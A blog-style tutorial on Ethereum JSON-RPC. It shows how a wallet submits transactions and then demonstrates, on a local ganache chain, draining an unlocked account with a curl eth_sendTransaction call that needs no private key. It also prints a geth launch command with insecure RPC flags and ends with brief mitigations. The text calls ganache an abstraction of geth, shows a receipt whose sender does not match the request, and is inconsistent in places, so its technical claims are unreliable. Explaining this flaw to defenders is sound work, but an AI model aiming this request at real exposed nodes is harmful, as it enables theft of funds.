Hacking an Ethereum Node (really)
What (really) happen when you’re sending the transaction bellow with metamask? (Okay, this transaction is from before the London fork, but that doesn’t matter here.)
{
"from": "0x8900987a0654d979bB7cD8aaADd19Cf032B51D2e",
"to": "0xAaBbCcDdEeFf00112233",
"value": "2500000000000000000",
"gas": 21000,
"gasPrice": "50000000000",
"nonce": 5
}
This transaction is submitted to the blockchain right? Yes, maybe but you’ve missed several crucial steps in-between.
In fact, when you click in “sendTransaction” on “Metamask”. (or in any other wallet) Your transaction is NOT directly submitted to the blockchain.
Metamask is instead queering an “RPC node”, with an RPC request, containing this piece of JSON:
{
"jsonrpc":"2.0",
"method":"eth_sendTransaction",
"params":[{
"from": "0x95F1F945cA47387aA36f97b2F9bC59fcF3A3eE6a",
"to": "0x92B934fC0d243FaF97d521b9AFCc0A5553F5dAa6",
"value": "100000000000000000",
"gas": "0x5208",
"gasPrice": "0x989680",
"nonce": "0x0"
}],
"id":1
}
This piece of JSON, is sent to the RPC node (via the HTTP protocol), by default on metamask, the node is from infura.
Basically, it ask the RPC node to processes and broadcast the transaction to other Ethereum nodes.
Here an RPC request is used to communicate with an RPC node and asking him some actions (like getting the latest block, getting the balance of an address or sending a transaction)
It’s quite easy to analyze all the 4 fields of the JSON sent.
- “jsonrpc” → (version of jsonrpc) here this is “2.0”
- “method” → (what do you want to do this the RPC node), here this is “sending a transaction”
- “params” → (), this is the transaction to be sent in the JSON format.
- “id” → 1 (doesn’t relevant here)
After that, the node broadcast the transactions sent to all the others nodes in the Ethereum network.
The transaction is then settled to the “mempool” in each node and waiting to be mined.
But, we didn’t talk about hacking here? → Don’t worry it will come shortly. But at first learn the basics otherwise you won’t understand what I’m talking about.
How to start a JSON-RPC node?
Can you create your own JSON-RPC node ?
Yes, of course ! You can do it with geth, but it’s kind hard. (because there is lot of options, and you need to master a lot of concepts)
If you want to start “fast”, it’s faster to install “ganache_cli” which will create a test private blockchain and “attach” an RPC node to it. So let’s type the following commands:
- Install ganache-cli
npm install -g ganache-cli
2. Launch a test private blockchain plus a JSON-RPC node and allocate 1000000000000000000000000000 to wei to 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 (the address with private key 8000….)
ganache-cli --account=0x8000000000000000000000000000000000000000000000000000000000000000,1000000000000000000000000000
Here is how the output of the command should be:
Ganache CLI v6.12.2 (ganache-core: 2.13.2)
Available Accounts
==================
(0) 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 (1000000000 ETH)
Private Keys
==================
(0) 0x8000000000000000000000000000000000000000000000000000000000000000
Gas Price
==================
20000000000
Gas Limit
==================
6721975
Call Gas Limit
==================
9007199254740991
Listening on 127.0.0.1:8545
the RPC node is listening to 127.0.0.1:8545 (so in the port 8545 in our own computer)
3. Open a new windows terminal (or Linux, if you’re using it), and type the following command.
(It sends a JSON RPC request to get the balance of the first address in our private blockchain)
curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBalance\",\"params\":[\"0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3\", \"latest\"],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545
Here is how should be the response:
{"id":1,"jsonrpc":"2.0","result":"0x33b2e3c9fd0803ce8000000"}
It shows that the balance of 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 in wei formatted with hex numbers. (In our blockchain)
What is the problem ?
Until here, there should NOT have any problem right?
Well, no.
With ganache_cli (it’s in fact an abstraction of geth) you usually start your node with an UNLOCKED account. (in order to sign all the blocks and mine them in the PoA Network)
But what is happening behind the scenes once you’ve unlocked your account?
After you have typed your password, geth will discard the privatekey for signing transactions in “clear text” in the geth’s memory. (somewhere in RAM to be short)
Remember that we have use ganache which is just geth with some abstractions, like typing this command.
geth --datadir data --networkid 1331 --http --allow-insecure-unlock --http.addr 0.0.0.0 --http.corsdomain "*" --http.vhosts "*" --unlock 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 console
But why the unlocked account are necessary ?
- Usually, for mining transactions.
- For signing blocks in a PoA network.
- For sending transactions.
Okay, but who has access to the memory of your computer or your VPS (if you want to share your private blockchain or your private node)? The hackers need at least to be logged in (by using SSH for example), and acquire the privileges to dump the Linux memory, which is not easy.
They don’t have the passwords and there is unlikely to have a vulnerability which will allows the hacker to execute code as root in your VPS. (unless the system posses very bad configuration)
So you’re safe right ?
But it may get worse?
In geth, if an account is unlocked you can do more with that account in an RPC call.
There are several dozens of methods you can request to the RPC node, here is some examples and you may already know them:
- eth_getBalance
- eth_getCode
- eth_getStorageAt
- eth_call
- eth_sendTransaction
These methods are used by metamask to fetch all the information about your wallet for example.
In fact, in one Windows command line, I can ask the RPC node to send all ETH of the unlocked account to another account. (don’t forget to escape the “ with the \, otherwise it will bug.)
curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_sendTransaction\",\"params\":[{\"from\": \"0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3\",\"to\": \"0x1D245F0C3f7eF71d36B0Fd23cE40b4AA4a289a2D\",\"value\": \"0x38d7ea4c6800000\"}],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545
{"id":1,"jsonrpc":"2.0","result":"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4"}
I used the “eth_sendTransaction” method with these 3 params :
- from : 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3
- to : 0x1D245F0C3f7eF71d36B0Fd23cE40b4AA4a289a2D
- value : 0x38d7ea4c6800000 (in hex)
The RPC node processed the request and sent the response :
- 0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4 (this is the transaction hash)
Note that I’ve not signed the transaction with the private key!!
I can make another call to the node requesting the transaction receipt given the transaction hash (with eth_getTransactionReceipt) :
curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getTransactionReceipt\",\"params\":[\"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4\"],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545
(Don’t forget to change the transaction hash, it won’t be the same as mine)
Here is the result:
{"id":1,"jsonrpc":"2.0","result":{"transactionHash":"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4","transactionIndex":"0x0","blockHash":"0xbbdd4c0e3a6b848891eef8a24941bdd37d5596a9090aa29f4683dac372abfca0","blockNumber":"0x8","from":"0x6166f7ee676a28afb4231145d9838539757b0b85","to":"0x1d245f0c3f7ef71d36b0fd23ce40b4aa4a289a2d","gasUsed":"0x5208","cumulativeGasUsed":"0x5208","contractAddress":null,"logs":[],"status":"0x1","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}}
The transaction has been processed and the funds transferred without possessing the private key.
Awesome right?
We were able to steal the funds of an address without the private key, but this is not the sole danger, it’s also possible to sign transactions with the unlocked address without possessing the private key.
How can you protect your node against this flaw ?
There are several ways to avoid this flaw.
- You can filter the all traffic in your server with a firewall to remove dangerous methods (this is risky because there will be almost always a way to bypass)
- You can create 2 nodes for your blockchain, one with unlocked account which mine new blocks and is not accessible for the world plus another with no unlocked account and synchronizing with the first node but accessible for outside for querying transaction.
I’m done for today, I hope you’ve learnt a lot from this article and hope to see you for another one :)